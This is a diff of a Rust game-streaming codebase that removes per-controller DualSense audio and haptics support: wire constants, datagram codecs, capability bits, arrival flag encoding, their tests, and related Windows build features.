    let mut pads: [Option<GamepadSnapshot>; MAX_PADS] = [None; MAX_PADS];
@@ -45,28 +37,6 @@ pub(super) async fn run(
    const ARRIVAL_RESENDS: u8 = 2;
    let mut arrival: [Option<u8>; MAX_PADS] = [None; MAX_PADS];
    let mut arrival_owed: [u8; MAX_PADS] = [0; MAX_PADS];
-    // An arrival's outgoing flags word: the pad index, plus the pad's audio-render bits (8/9)
-    // toward a HOST_CAP_PAD_AUDIO host. With no declared caps (or an older host) this is
-    // byte-identical to the plain index — the pre-pad-audio wire.
-    // B7: the caps a pad's LAST arrival actually carried. `set_pad_audio_caps` only stores into
-    // the registry — it cannot reach this task — so a declaration that lands after the arrival
-    // burst has drained (the renderer commits the trade only once its sink opens, which is well
-    // past the two 100 ms ticks) used to never reach the host at all: the client believed it had
-    // pad audio and the host emitted nothing on 0xD1, silently, forever. Comparing this against
-    // the live registry on every tick re-arms the burst by itself, with no new plumbing and no
-    // extra traffic when nothing changed.
-    let mut arrival_caps_sent: [u8; MAX_PADS] = [0; MAX_PADS];
-    let caps_now = |idx: usize| -> u8 {
-        if pad_audio {
-            pad_audio_caps[idx].load(Ordering::Relaxed)
-        } else {
-            0
-        }
-    };
-    let arrival_flags = |idx: usize| -> u32 {
-        let caps = caps_now(idx);
-        crate::input::encode_gamepad_arrival(idx as u8, caps)
-    };
    let mut refresh = tokio::time::interval(Duration::from_millis(100));
    refresh.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay);
    loop {
@@ -111,56 +81,30 @@ pub(super) async fn run(
                    let _ = conn.send_datagram(rem.encode().to_vec().into());
                    continue;
                }
-                if gamepad_snapshots && ev.kind == InputKind::GamepadArrival {
-                    // The index is the LOW BYTE only — bits 8/9 may carry the pad's audio-render
-                    // caps (an embedder building raw events; the `set_pad_audio_caps` registry is
-                    // the usual source). Fold event-carried bits into the registry so the re-send
-                    // burst keeps them, then send with the negotiation-gated flags word.
-                    let (pad, ev_caps) = crate::input::decode_gamepad_arrival(ev.flags);
-                    let idx = pad as usize;
-                    if idx < MAX_PADS {
-                        if ev_caps != 0 {
-                            pad_audio_caps[idx].fetch_or(ev_caps, Ordering::Relaxed);
-                        }
-                        // Remember the declared kind (`code`) and forward it, arming a re-send
-                        // burst so the host learns it before the pad's first frame even under loss.
-                        arrival[idx] = Some(ev.code as u8);
-                        arrival_owed[idx] = ARRIVAL_RESENDS;
-                        arrival_caps_sent[idx] = caps_now(idx);
-                        let arr = crate::input::InputEvent {
-                            flags: arrival_flags(idx),
-                            ..ev
-                        };
-                        let _ = conn.send_datagram(arr.encode().to_vec().into());
-                        continue;
-                    }
+                if gamepad_snapshots && ev.kind == InputKind::GamepadArrival && idx < MAX_PADS {
+                    // Remember the declared kind (`code`) and forward it, arming a re-send burst
+                    // so the host learns it before the pad's first frame even under loss.
+                    arrival[idx] = Some(ev.code as u8);
+                    arrival_owed[idx] = ARRIVAL_RESENDS;
+                    let _ = conn.send_datagram(ev.encode().to_vec().into());
+                    continue;
                }
                let _ = conn.send_datagram(ev.encode().to_vec().into());
            }
            _ = refresh.tick() => {
                for idx in 0..MAX_PADS {
-                    // B7: caps declared after the burst drained — re-announce this pad's arrival.
-                    // Only for a pad that HAS an arrival (so it is a live, declared controller),
-                    // and only when the value actually moved, so a steady session sends nothing.
-                    if arrival[idx].is_some()
-                        && arrival_owed[idx] == 0
-                        && caps_now(idx) != arrival_caps_sent[idx]
-                    {
-                        arrival_owed[idx] = ARRIVAL_RESENDS;
-                    }
                    // Re-send an owed kind declaration (independent of whether the pad has state
                    // yet — it may be idle-but-connected). Idempotent on the host.
                    if arrival_owed[idx] > 0 {
                        if let Some(kind) = arrival[idx] {
                            arrival_owed[idx] -= 1;
-                            arrival_caps_sent[idx] = caps_now(idx);
                            let arr = crate::input::InputEvent {
                                kind: InputKind::GamepadArrival,
                                _pad: [0; 3],
                                code: kind as u32,
                                x: 0,
                                y: 0,
-                                flags: arrival_flags(idx),
+                                flags: idx as u32,
                            };
                            let _ = conn.send_datagram(arr.encode().to_vec().into());
                        } else {
@@ -5,8 +5,8 @@ use crate::clipboard::{ClipCommand, ClipEventCore};
 use crate::config::{CompositorPref, GamepadPref, Mode};
 use crate::error::Result;
 use crate::input::InputEvent;
-use crate::quic::{HdrMeta, HidOutput, PadAudioFrame};
-use std::sync::atomic::{AtomicBool, AtomicI64, AtomicU32, AtomicU64, AtomicU8};
+use crate::quic::{HdrMeta, HidOutput};
+use std::sync::atomic::{AtomicBool, AtomicI64, AtomicU32, AtomicU64};
 use std::sync::mpsc::SyncSender;
 use std::sync::{Arc, Mutex};

@@ -43,14 +43,6 @@ pub(crate) struct WorkerArgs {
    /// closed, so the command API always observes connection teardown.
    pub(crate) rumble_feed: super::rumble::RumbleFeed,
    pub(crate) hidout_tx: SyncSender<HidOutput>,
-    /// Inbound pad-audio frames (`0xD1` — DualSense voice-coil haptics + speaker), drained by
-    /// [`NativeClient::next_pad_audio`].
-    pub(crate) pad_audio_tx: SyncSender<PadAudioFrame>,
-    /// Per-pad pad-audio render capabilities (bit0 haptics, bit1 speaker), written by
-    /// [`NativeClient::set_pad_audio_caps`] and OR'd into outgoing
-    /// [`GamepadArrival`](crate::input::InputKind::GamepadArrival) flags (bits 8/9) by the input
-    /// task — toward a `HOST_CAP_PAD_AUDIO` host only.
-    pub(crate) pad_audio_caps: Arc<[AtomicU8; crate::input::MAX_PADS]>,
    pub(crate) hdr_meta_tx: SyncSender<HdrMeta>,
    pub(crate) host_timing_tx: SyncSender<crate::quic::HostTiming>,
    pub(crate) cursor_shape_tx: SyncSender<crate::quic::CursorShape>,
@@ -64,11 +64,7 @@ pub enum InputKind {
    GamepadRemove = 13,
    /// Declares which controller KIND a pad presents so a session can MIX types (pad 0 a
    /// DualSense, pad 1 an Xbox pad). `code` = the [`GamepadPref`](crate::config::GamepadPref)
-    /// wire byte, `flags` = pad index in the low byte plus the pad's render capabilities in bits
-    /// 8/9 ([`ARRIVAL_FLAG_PAD_AUDIO_HAPTICS`]/[`ARRIVAL_FLAG_PAD_AUDIO_SPEAKER`] — sent only
-    /// toward a [`HOST_CAP_PAD_AUDIO`](crate::quic::HOST_CAP_PAD_AUDIO) host, so an older host
-    /// keeps reading the whole word as the index; hosts decode via [`decode_gamepad_arrival`]).
-    /// Sent when the client opens a pad slot — before that pad's
+    /// wire byte, `flags` = pad index. Sent when the client opens a pad slot — before that pad's
    /// first input — and re-sent a few times against datagram loss (like [`GamepadRemove`]). The
    /// host resolves the kind to a buildable backend and routes that pad's virtual device to it; a
    /// pad the client never declares (an older client, or a fully-lost declaration) falls back to
@@ -101,34 +97,6 @@ pub fn decode_gamepad_remove(flags: u32) -> (u8, u8) {
    (flags as u8, (flags >> 24) as u8)
 }

-/// [`InputKind::GamepadArrival`] `flags` bit: this pad renders pad-audio HAPTICS — it is (or
-/// forwards to) a real DualSense whose voice-coil actuators can play the
-/// [`PAD_AUDIO_KIND_HAPTICS`](crate::quic::PAD_AUDIO_KIND_HAPTICS) stream. Rides above the pad
-/// index byte; sent only toward a [`HOST_CAP_PAD_AUDIO`](crate::quic::HOST_CAP_PAD_AUDIO) host
-/// (an older host reads the whole `flags` word as the index, so unexpected high bits would make
-/// it drop the declaration).
-pub const ARRIVAL_FLAG_PAD_AUDIO_HAPTICS: u32 = 1 << 8;
-/// [`InputKind::GamepadArrival`] `flags` bit: this pad renders pad-audio SPEAKER — the
-/// [`PAD_AUDIO_KIND_SPEAKER`](crate::quic::PAD_AUDIO_KIND_SPEAKER) stream. Same wire discipline
-/// as [`ARRIVAL_FLAG_PAD_AUDIO_HAPTICS`].
-pub const ARRIVAL_FLAG_PAD_AUDIO_SPEAKER: u32 = 1 << 9;
-
-/// Pack a [`InputKind::GamepadArrival`] `flags` word: the pad index in the low byte plus
-/// `audio_caps` (bit0 = haptics, bit1 = speaker) as bits 8/9. `audio_caps = 0` reproduces the
-/// pre-pad-audio wire bytes exactly.
-pub fn encode_gamepad_arrival(pad: u8, audio_caps: u8) -> u32 {
-    (pad as u32) | (((audio_caps & 0x03) as u32) << 8)
-}
-
-/// Unpack a [`InputKind::GamepadArrival`] `flags` word into `(pad, audio_caps)`. The pad index
-/// is `flags & 0xFF` — hosts MUST mask rather than take the whole word, or a capability bit
-/// reads as a phantom index; `audio_caps` is bits 8/9 (bit0 = haptics, bit1 = speaker — the
-/// [`ARRIVAL_FLAG_PAD_AUDIO_HAPTICS`]/[`ARRIVAL_FLAG_PAD_AUDIO_SPEAKER`] bits shifted down).
-/// An old-format word (index only) yields `audio_caps = 0`.
-pub fn decode_gamepad_arrival(flags: u32) -> (u8, u8) {
-    (flags as u8, ((flags >> 8) & 0x03) as u8)
-}
-
 /// The gamepad wire contract for [`InputKind::GamepadButton`]/[`InputKind::GamepadAxis`].
 ///
 /// Everything follows the GameStream/XInput conventions end to end: buttons reuse
@@ -380,11 +348,6 @@ pub enum GamepadEvent {
        kind: u8,
        /// LI_CCAP_* bits (0x02 = rumble).
        capabilities: u16,
-        /// Pad-audio render capabilities from a NATIVE-plane arrival's `flags` bits 8/9
-        /// (bit0 = haptics, bit1 = speaker — see [`decode_gamepad_arrival`]). NOT a GameStream
-        /// LI_CCAP bit (that vocabulary lives in `capabilities`); the GameStream plane cannot
-        /// express pad audio and always sets `0`, as does an old client.
-        audio_caps: u8,
    },
 }

@@ -480,31 +443,6 @@ mod tests {
        assert_eq!((pad, seq), (9, 123));
    }

-    #[test]
-    fn gamepad_arrival_flags_roundtrip() {
-        // The capability bits ride bits 8/9; the index stays the low byte.
-        for (pad, caps) in [(0u8, 0u8), (3, 0b01), (15, 0b10), (7, 0b11)] {
-            let flags = encode_gamepad_arrival(pad, caps);
-            assert_eq!(decode_gamepad_arrival(flags), (pad, caps));
-            assert_eq!(flags & 0xFF, pad as u32);
-        }
-        assert_eq!(
-            encode_gamepad_arrival(2, 0b11),
-            2 | ARRIVAL_FLAG_PAD_AUDIO_HAPTICS | ARRIVAL_FLAG_PAD_AUDIO_SPEAKER
-        );
-        // Old-format compat both ways: a caps-less word (an old client, or a new one toward an
-        // old host) is byte-identical to the plain index, and decodes with caps 0.
-        assert_eq!(encode_gamepad_arrival(5, 0), 5);
-        assert_eq!(decode_gamepad_arrival(5), (5, 0));
-        // Undefined high bits (a future extension) never leak into the index OR the caps.
-        assert_eq!(
-            decode_gamepad_arrival(0xFFFF_0000 | (0b01 << 8) | 9),
-            (9, 1)
-        );
-        // encode masks unknown caps bits, so a sloppy embedder can't corrupt the index space.
-        assert_eq!(encode_gamepad_arrival(1, 0xFF), 1 | (0b11 << 8));
-    }
-
    #[test]
    fn gamepad_snapshot_roundtrip() {
        let s = GamepadSnapshot {
@@ -132,13 +132,7 @@ pub use stats::Stats;
 /// says what it says — so v15 is the floor that *guarantees* them: at or above it the surface is
 /// present, below it an embedder must probe for the symbol. Purely a version statement; no code
 /// changed with this bump, and no wire change, so [`WIRE_VERSION`] is unchanged.
-/// v16: added the pad-audio client surface — `punktfunk_connection_next_pad_audio` (the 0xD1
-/// per-gamepad DualSense haptics/speaker plane) + `punktfunk_connection_set_pad_audio_caps` and
-/// the `PUNKTFUNK_CLIENT_CAP_PAD_AUDIO` / `PUNKTFUNK_HOST_CAP_PAD_AUDIO` mirrors. Additive and
-/// capability-gated end to end: the wire grows a new datagram tag (0xD1) an old client never
-/// receives (double-gated caps), a new 0xCD kind (0x06, dropped as unknown by old clients) and
-/// arrival flag bits 8/9 sent only toward a capable host, so [`WIRE_VERSION`] is unchanged.
-pub const ABI_VERSION: u32 = 16;
+pub const ABI_VERSION: u32 = 15;

 /// The punktfunk/1 **wire** version — what `Hello`/`Welcome` carry and hosts equality-check.
 /// Deliberately its own constant: [`ABI_VERSION`] tracks the embeddable **C surface**
@@ -121,15 +121,6 @@ pub const CLIENT_CAP_PHASE_LOCK: u8 = 0x02;
 /// clean, the client keeps receiving the plain `0xC9` plane — so a client may always set this bit.
 /// `0x04` — `0x01`/`0x02` are cursor / phase-lock.
 pub const CLIENT_CAP_AUDIO_RED: u8 = 0x04;
-/// [`Hello::client_caps`] bit: the client understands the pad-audio plane
-/// ([`PAD_AUDIO_MAGIC`](super::datagram::PAD_AUDIO_MAGIC), `0xD1`) — per-gamepad DualSense
-/// voice-coil haptics + speaker Opus frames, plus the [`HidOutput::AudioCtl`]
-/// (super::datagram::HidOutput) routing/volume events. Active only when the host answers with
-/// [`HOST_CAP_PAD_AUDIO`] AND the pad's arrival declared a renderer for the kind
-/// ([`crate::input::ARRIVAL_FLAG_PAD_AUDIO_HAPTICS`]/`_SPEAKER`) — the capable-and-agreed
-/// precedent, per pad; toward an older or incapable host nothing changes. `0x08` — `0x01` is [`CLIENT_CAP_CURSOR`],
-/// `0x02` is [`CLIENT_CAP_PHASE_LOCK`], `0x04` is [`CLIENT_CAP_AUDIO_RED`].
-pub const CLIENT_CAP_PAD_AUDIO: u8 = 0x08;

 /// [`Welcome::host_caps`] bit: the host CAN forward the cursor out-of-band (it captures cursor
 /// metadata separately from the frame — the Linux portal `SPA_META_Cursor` path; NOT gamescope,
@@ -163,16 +154,6 @@ pub const HOST_CAP_PEN: u8 = 0x10;
 /// unconditionally and treat this bit as "expect redundancy", not "only redundancy".
 /// `0x20` — `0x10` is [`HOST_CAP_PEN`], `0x08` is [`HOST_CAP_CURSOR`].
 pub const HOST_CAP_AUDIO_RED: u8 = 0x20;
-/// [`Welcome::host_caps`] bit: the host can capture pad audio — its virtual DualSense exposes
-/// the pad's audio endpoints (voice-coil haptics + speaker), so a game's per-pad audio can be
-/// captured and shipped on the [`PAD_AUDIO_MAGIC`](super::datagram::PAD_AUDIO_MAGIC) plane.
-/// Set only when the client asked via [`CLIENT_CAP_PAD_AUDIO`]; when both bits agree, a
-/// capable client marks its pads' render capabilities on their arrivals
-/// ([`crate::input::ARRIVAL_FLAG_PAD_AUDIO_HAPTICS`]/`_SPEAKER`) and the host emits `0xD1`
-/// toward exactly those pads. `0x40` — `0x20` is [`HOST_CAP_AUDIO_RED`], `0x10` is
-/// [`HOST_CAP_PEN`], `0x08` is [`HOST_CAP_CURSOR`], `0x04` is [`HOST_CAP_TEXT_INPUT`],
-/// `0x01`/`0x02` are gamepad-state / clipboard.
-pub const HOST_CAP_PAD_AUDIO: u8 = 0x40;

 /// [`Hello::video_codecs`] bit: the client can decode H.264 / AVC. The GPU-less **software**
 /// encode path (openh264) emits H.264, so a client that wants to stream from a software host MUST
@@ -356,28 +337,6 @@ mod tests {
        );
    }

-    #[test]
-    fn pad_audio_cap_bits_are_distinct() {
-        // The new pad-audio bits pack into the existing caps bytes without colliding with any
-        // taken bit (a collision would silently negotiate an unrelated feature).
-        assert_eq!(
-            CLIENT_CAP_PAD_AUDIO & (CLIENT_CAP_CURSOR | CLIENT_CAP_PHASE_LOCK),
-            0
-        );
-        assert_eq!(
-            HOST_CAP_PAD_AUDIO
-                & (HOST_CAP_GAMEPAD_STATE
-                    | HOST_CAP_CLIPBOARD
-                    | HOST_CAP_TEXT_INPUT
-                    | HOST_CAP_CURSOR
-                    | HOST_CAP_PEN),
-            0
-        );
-        // Single-bit values (a multi-bit cap would OR neighbours in).
-        assert_eq!(CLIENT_CAP_PAD_AUDIO.count_ones(), 1);
-        assert_eq!(HOST_CAP_PAD_AUDIO.count_ones(), 1);
-    }
-
    #[test]
    fn resolve_codec_canonicalizes_a_multi_bit_preference() {
        // A non-conformant peer may stuff its capability MASK into `preferred` — the result
@@ -1,15 +1,12 @@
-//! The QUIC-datagram side planes, demultiplexed by their first byte (0xC9–0xD1):
-//! audio, rumble, mic uplink, rich input, HID output, HDR metadata, host timing,
-//! cursor state, pad audio.
+//! The QUIC-datagram side planes, demultiplexed by their first byte (0xC9–0xCF):
+//! audio, rumble, mic uplink, rich input, HID output, HDR metadata, host timing.

 /// Datagram wire tags. Video rides UDP; everything low-rate rides QUIC datagrams,
 /// demultiplexed by the first byte: input = [`crate::input::INPUT_MAGIC`] (0xC8, client→host),
 /// audio = [`AUDIO_MAGIC`] (0xC9, host→client), rumble = [`RUMBLE_MAGIC`] (0xCA, host→client),
 /// mic = [`MIC_MAGIC`] (0xCB, client→host), rich-input = [`RICH_INPUT_MAGIC`] (0xCC, client→host),
 /// HID-output = [`HIDOUT_MAGIC`] (0xCD, host→client), HDR metadata = [`HDR_META_MAGIC`]
-/// (0xCE, host→client), host timing = [`HOST_TIMING_MAGIC`] (0xCF, host→client), cursor state =
-/// [`CURSOR_STATE_MAGIC`] (0xD0, host→client), pad audio = [`PAD_AUDIO_MAGIC`] (0xD1,
-/// host→client).
+/// (0xCE, host→client).
 pub const AUDIO_MAGIC: u8 = 0xC9;
 pub const RUMBLE_MAGIC: u8 = 0xCA;
 /// Microphone uplink: the client's mic, Opus-encoded, client → host (the inverse of
@@ -419,7 +416,6 @@ const HIDOUT_PLAYER_LEDS: u8 = 0x02;
 const HIDOUT_TRIGGER: u8 = 0x03;
 const HIDOUT_TRACKPAD_HAPTIC: u8 = 0x04;
 const HIDOUT_HID_RAW: u8 = 0x05;
-const HIDOUT_AUDIO_CTL: u8 = 0x06;

 /// [`HidOutput::HidRaw`] `kind`: an OUTPUT report — what the host's hidraw client wrote with
 /// `write()`/`SDL_hid_write` (Triton rumble `0x80`, haptic pulse `0x81`, …). The client replays
@@ -468,16 +464,6 @@ pub enum HidOutput {
    /// hardware safety timeout, and settings (lizard/IMU) are refreshed every ~3 s against the
    /// firmware watchdog — a lost datagram heals on the next refresh.
    HidRaw { pad: u8, kind: u8, data: Vec<u8> },
-    /// The audio-control region of a DS5 output report `0x02` a game wrote to the host's virtual
-    /// pad — the routing/volume side of pad audio (the audio SAMPLES ride the [`PAD_AUDIO_MAGIC`]
-    /// plane). `raw` is bytes 5..=10 of the report verbatim (headphone/speaker/mic volumes +
-    /// audio routing); `flags` condenses the report's audio valid-flags: bit0 = haptics-select
-    /// (`valid_flag0` bit1 — the title asked for audio haptics on the voice coils), bits1..4 =
-    /// `valid_flag0` bits 4..7 (the audio-valid flags gating `raw`). Wire form
-    /// `[0xCD][0x06][u16 pad LE][u8 flags][6 raw bytes]`. Forwarded change-only (deduped by
-    /// value host-side, like `Led`/`Trigger`) — a merely-rumbling pad re-sends unchanged audio
-    /// state on every output report.
-    AudioCtl { pad: u16, flags: u8, raw: [u8; 6] },
 }

 impl HidOutput {
@@ -510,12 +496,6 @@ impl HidOutput {
                out.extend_from_slice(&[HIDOUT_HID_RAW, *pad, *kind]);
                out.extend_from_slice(&data[..data.len().min(HID_REPORT_MAX)]);
            }
-            HidOutput::AudioCtl { pad, flags, raw } => {
-                out.push(HIDOUT_AUDIO_CTL);
-                out.extend_from_slice(&pad.to_le_bytes());
-                out.push(*flags);
-                out.extend_from_slice(raw);
-            }
        }
        out
    }
@@ -560,22 +540,6 @@ impl HidOutput {
                // Bounded: at most HID_REPORT_MAX bytes are kept from the (attacker-sized) tail.
                data: b[4..b.len().min(4 + HID_REPORT_MAX)].to_vec(),
            }),
-            // B27: the pad is the only u16 index on this plane, and every consumer narrows it
-            // with `as u8` on the stated assumption that pads are 0..MAX_PADS. Nothing enforced
-            // that, so wire pad 256 silently ALIASED onto slot 0 — a malformed or hostile
-            // datagram steering a real controller's speaker volumes. Rejected here, at the one
-            // place the u16 exists, so the narrowings downstream are lossless by construction
-            // (the same fix R10 applied to the rumble plane).
-            HIDOUT_AUDIO_CTL
-                if b.len() >= 11
-                    && u16::from_le_bytes([b[2], b[3]]) < crate::input::MAX_PADS as u16 =>
-            {
-                Some(HidOutput::AudioCtl {
-                    pad: u16::from_le_bytes([b[2], b[3]]),
-                    flags: b[4],
-                    raw: b[5..11].try_into().unwrap(),
-                })
-            }
            _ => None,
        }
    }
@@ -834,72 +798,6 @@ pub fn decode_cursor_state_datagram(b: &[u8]) -> Option<CursorState> {
    })
 }

-/// Pad-audio datagram tag, host → client: per-gamepad audio a game routed
-/// to the host's virtual DualSense — voice-coil haptics and the built-in speaker — for the client
-/// to render on the matching real controller. Next tag after [`CURSOR_STATE_MAGIC`]. The
-/// per-pad AUDIO plane (Opus frames, the [`AUDIO_MAGIC`]/[`MIC_MAGIC`] shape plus pad + kind);
-/// the routing/volume CONTROL side rides [`HidOutput::AudioCtl`]. Emitted only when the session
-/// negotiated it ([`CLIENT_CAP_PAD_AUDIO`](super::caps::CLIENT_CAP_PAD_AUDIO) ∧
-/// [`HOST_CAP_PAD_AUDIO`](super::caps::HOST_CAP_PAD_AUDIO)) and the pad's arrival declared a
-/// renderer for the kind ([`crate::input::ARRIVAL_FLAG_PAD_AUDIO_HAPTICS`]/`_SPEAKER`).
-/// Best-effort like every audio datagram: a lost frame is a concealed gap, never state.
-pub const PAD_AUDIO_MAGIC: u8 = 0xD1;
-
-/// [`PadAudioFrame::kind`]: the BACK channel pair — the DualSense voice-coil actuators (audio
-/// haptics). 5 ms Opus frames, matching the [`AUDIO_MAGIC`] cadence: haptics are felt latency.
-pub const PAD_AUDIO_KIND_HAPTICS: u8 = 0;
-/// [`PadAudioFrame::kind`]: the FRONT channel pair — the controller's built-in speaker. 10 ms
-/// Opus frames (speaker content tolerates the extra buffering for the better coding efficiency).
-pub const PAD_AUDIO_KIND_SPEAKER: u8 = 1;
-
-/// Wire length of a pad-audio datagram header: tag + pad + kind + u32 seq + u64 pts = 15 bytes.
-const PAD_AUDIO_HEADER_LEN: usize = 1 + 1 + 1 + 4 + 8;
-
-/// One decoded pad-audio frame (owned — the client's plane queue stores it). `seq`/`pts_ns` are
-/// per-(pad, kind) counters from the host's capture clock, for gap concealment and lip-sync
-/// against the main audio plane.
-#[derive(Clone, Debug, PartialEq, Eq)]
-pub struct PadAudioFrame {
-    /// Gamepad index (the wire pad space, same as rumble/HID-output).
-    pub pad: u8,
-    /// [`PAD_AUDIO_KIND_HAPTICS`] or [`PAD_AUDIO_KIND_SPEAKER`].
-    pub kind: u8,
-    pub seq: u32,
-    pub pts_ns: u64,
-    /// The raw Opus payload — feed it to an Opus decoder as one frame. Empty = DTX silence.
-    pub opus: Vec<u8>,
-}
-
-/// Pad-audio datagram, host → client:
-/// `[0xD1][u8 pad][u8 kind][u32 seq LE][u64 pts_ns LE][opus payload]` — the
-/// [`encode_audio_datagram`]/[`encode_mic_datagram`] layout with a pad + kind prefix, one Opus
-/// frame per datagram (5/10 ms — well under any MTU); QUIC already encrypts.
-pub fn encode_pad_audio_datagram(pad: u8, kind: u8, seq: u32, pts_ns: u64, opus: &[u8]) -> Vec<u8> {
-    let mut b = Vec::with_capacity(PAD_AUDIO_HEADER_LEN + opus.len());
-    b.push(PAD_AUDIO_MAGIC);
-    b.push(pad);
-    b.push(kind);
-    b.extend_from_slice(&seq.to_le_bytes());
-    b.extend_from_slice(&pts_ns.to_le_bytes());
-    b.extend_from_slice(opus);
-    b
-}
-
-/// Parse a pad-audio datagram → [`PadAudioFrame`]. `None` on bad tag/length (the fixed header
-/// length bounds every read before it happens).
-pub fn decode_pad_audio_datagram(buf: &[u8]) -> Option<PadAudioFrame> {
-    if buf.len() < PAD_AUDIO_HEADER_LEN || buf[0] != PAD_AUDIO_MAGIC {
-        return None;
-    }
-    Some(PadAudioFrame {
-        pad: buf[1],
-        kind: buf[2],
-        seq: u32::from_le_bytes(buf[3..7].try_into().unwrap()),
-        pts_ns: u64::from_le_bytes(buf[7..15].try_into().unwrap()),
-        opus: buf[15..].to_vec(),
-    })
-}
-
 #[cfg(test)]
 mod tests {
    use crate::quic::*;
@@ -1383,12 +1281,6 @@ mod tests {
                    f
                },
            },
-            // The DS5 audio-control region (haptics-select + speaker volume asserted).
-            HidOutput::AudioCtl {
-                pad: 1,
-                flags: 0b0_0101,
-                raw: [0x50, 0x60, 0x70, 0x05, 0x00, 0x00],
-            },
        ];
        for ev in &cases {
            let d = ev.encode();
@@ -1407,92 +1299,6 @@ mod tests {
        )
        .is_none());
    }
-
-    #[test]
-    fn audio_ctl_wire_layout_and_truncation() {
-        // The exact 11-byte layout: [0xCD][0x06][u16 pad LE][u8 flags][6 raw bytes].
-        // The pad is deliberately a REPRESENTABLE one: this used to assert that 0x0201 (513)
-        // round-tripped, which pinned B27's aliasing in place as if it were the contract.
-        let a = HidOutput::AudioCtl {
-            pad: 0x000B,
-            flags: 0x17,
-            raw: [1, 2, 3, 4, 5, 6],
-        };
-        let d = a.encode();
-        assert_eq!(d, [0xCD, 0x06, 0x0B, 0x00, 0x17, 1, 2, 3, 4, 5, 6]);
-        assert_eq!(HidOutput::decode(&d), Some(a));
-        // Truncated buffers are rejected outright (fixed length — never a partial read).
-        for n in 2..d.len() {
-            assert_eq!(HidOutput::decode(&d[..n]), None);
-        }
-    }
-
-    #[test]
-    fn pad_audio_datagram_roundtrip_and_truncation() {
-        let opus = [0x5Au8; 61];
-        let d = encode_pad_audio_datagram(3, PAD_AUDIO_KIND_HAPTICS, 42, 9_999, &opus);
-        assert_eq!(d[0], PAD_AUDIO_MAGIC);
-        assert_eq!(d.len(), 15 + opus.len());
-        let f = decode_pad_audio_datagram(&d).unwrap();
-        assert_eq!((f.pad, f.kind, f.seq, f.pts_ns), (3, 0, 42, 9_999));
-        assert_eq!(f.opus, opus);
-        // Truncated headers are rejected outright (never partially read).
-        for n in 0..15 {
-            assert_eq!(decode_pad_audio_datagram(&d[..n]), None);
-        }
-        // Tag separation: a pad-audio datagram is not a session-audio/mic datagram and vice-versa.
-        assert!(decode_audio_datagram(&d).is_none());
-        assert!(decode_mic_datagram(&d).is_none());
-        assert!(decode_pad_audio_datagram(&encode_audio_datagram(1, 2, &opus)).is_none());
-        // Empty payload (DTX) is legal — header-only datagram.
-        let hdr = encode_pad_audio_datagram(0, PAD_AUDIO_KIND_SPEAKER, 0, 0, &[]);
-        assert_eq!(hdr.len(), 15);
-        assert!(decode_pad_audio_datagram(&hdr).unwrap().opus.is_empty());
-    }
-
-    /// B27: the pad is the only u16 index on the 0xCD plane and every consumer narrows it with
-    /// `as u8`. An out-of-range one used to alias onto a real slot instead of being refused —
-    /// wire pad 256 steering pad 0's speaker volumes.
-    #[test]
-    fn audio_ctl_rejects_a_pad_outside_the_index_space() {
-        let ok = HidOutput::AudioCtl {
-            pad: (crate::input::MAX_PADS - 1) as u16,
-            flags: 0x12,
-            raw: [1, 2, 3, 4, 5, 6],
-        };
-        assert_eq!(
-            HidOutput::decode(&ok.encode()),
-            Some(ok),
-            "the last valid pad must still decode"
-        );
-
-        // Anything at or above MAX_PADS is refused outright, not truncated.
-        for pad in [crate::input::MAX_PADS as u16, 256, u16::MAX] {
-            let d = HidOutput::AudioCtl {
-                pad,
-                flags: 0x12,
-                raw: [1, 2, 3, 4, 5, 6],
-            }
-            .encode();
-            assert_eq!(HidOutput::decode(&d), None, "pad {pad} must not decode");
-        }
-
-        // The specific alias the bug produced: 256 as u8 == 0.
-        let d = HidOutput::AudioCtl {
-            pad: 256,
-            flags: 0,
-            raw: [0; 6],
-        }
-        .encode();
-        assert!(
-            !matches!(
-                HidOutput::decode(&d),
-                Some(HidOutput::AudioCtl { pad: 0, .. })
-            ),
-            "wire pad 256 must never surface as pad 0"
-        );
-    }
-
    #[test]
    fn cursor_state_roundtrip() {
        for (flags, x, y) in [
@@ -25,7 +25,7 @@
 //! Split by concern (networking-audit deferred plan §3 — a pure move): `handshake` the
 //! positional Hello/Welcome/Start codecs, `caps` the capability/codec-negotiation
 //! vocabulary, `control` the typed control + clipboard messages, `pairing` the pairing
-//! message codecs with [`pake`] the SPAKE2 itself, `datagram` the 0xC9–0xD1 plane codecs,
+//! message codecs with [`pake`] the SPAKE2 itself, `datagram` the 0xC9–0xCF plane codecs,
 //! `pen` the stylus batch (0xCC kind 0x05) + host stroke tracker,
 //! [`io`] framed stream IO, `clock` skew estimation + mid-stream re-sync, [`endpoint`] the
 //! quinn constructors, [`clipstream`] the per-transfer clipboard fetch streams. Every item
@@ -259,17 +259,6 @@ windows = { version = "0.62", features = [
    # CoCreateInstance(PolicyConfigClient) — set the default audio playback/recording endpoints via the
    # undocumented IPolicyConfig (audio/windows/audio_control.rs) so mic + desktop audio auto-wire.
    "Win32_System_Com",
-    # Pad-audio endpoint provisioning (audio/windows/pad_endpoint.rs): IMMDevice + IPropertyStore
-    # to stamp the DualSense identity onto the minted endpoints (PROPVARIANT lives in
-    # StructuredStorage and is gated on the Variant feature), DEVPKEY_Device_DriverInfPath to
-    # resolve the installed Steam Streaming Speakers INF, and raw Reg* calls behind the MMDevices
-    # ACL repair + the devnode's pad-index marker value.
-    "Win32_Media_Audio",
-    "Win32_UI_Shell_PropertiesSystem",
-    "Win32_System_Com_StructuredStorage",
-    "Win32_System_Variant",
-    "Win32_Devices_Properties",
-    "Win32_System_Registry",
    # SetUnhandledExceptionFilter + EXCEPTION_POINTERS — the last-resort native-crash logger
    # (src/windows/crash.rs); Kernel gates the CONTEXT type EXCEPTION_POINTERS embeds.
    "Win32_System_Diagnostics_Debug",
@@ -183,12 +183,6 @@ pub fn open_virtual_mic(_channels: u32) -> Result<Box<dyn VirtualMic>> {
 mod audio_control;
 #[cfg(target_os = "linux")]
 mod linux;
-// DualSense pad-audio endpoint provisioning + loopback capture (design: pad haptics/audio).
-// pub(crate): the session layer queries endpoints by pad index and the CLI exposes the
-// `pad-endpoint` devtest.
-#[cfg(target_os = "windows")]
-#[path = "audio/windows/pad_endpoint.rs"]
-pub(crate) mod pad_endpoint;
 #[cfg(target_os = "windows")]
 #[path = "audio/windows/wasapi_cap.rs"]
 mod wasapi_cap;
@@ -143,17 +143,6 @@ pub(crate) fn wire_now(set_playback: bool) -> Wiring {
    wire_now_full(set_playback).wiring
 }

-/// Endpoint ids among `renders` that are the host's own pad-audio endpoints — the exclusion
